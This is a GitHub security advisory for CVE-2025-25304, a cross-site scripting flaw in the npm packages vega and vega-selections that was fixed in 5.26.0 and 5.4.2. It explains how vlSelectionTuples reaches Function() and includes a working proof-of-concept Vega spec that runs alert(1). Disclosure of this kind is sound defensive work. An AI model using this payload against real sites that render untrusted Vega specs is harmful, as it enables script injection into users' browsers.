GitHub Advisoryadvisory · npm
GHSA-mp7w-mhcv-673j Vega allows Cross-site Scripting via the vlSelectionTuples function
MEDIUM
Official page ↗
- Aliases
- CVE-2025-25304
- Ecosystem
- npm
- Packages
- vega, vega-selections
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2025-02-14
Affected packages
• npm vega: < 5.26.0 → fixed in 5.26.0
• npm vega-selections: < 5.4.2 → fixed in 5.4.2
Description
Summary
The `vlSelectionTuples` function can be used to call JavaScript functions, leading to XSS.
Details
`vlSelectionTuples` calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: `vlSelectionTuples([{datum:}], {fields:[{getter:}]})`
This can be used to call `Function()` with arbitrary JavaScript and the resulting function can be called with `vlSelectionTuples` or using a type coercion to call `toString` or `valueOf`.
PoC
```
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}
```
Related
Alias · CVE (1)
- CVE-2025-25304 Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/vega/vega/security/advisories/GHSA-mp7w-mhcv-673j web
- https://nvd.nist.gov/vuln/detail/CVE-2025-25304 advisory
- https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411e web
- https://github.com/vega/vega package
- https://github.com/vega/vega/blob/b45cf431cd6c0d0c0e1567f087f9b3b55bc236fa/packages/vega-selections/src/selectionTuples.js#L14 web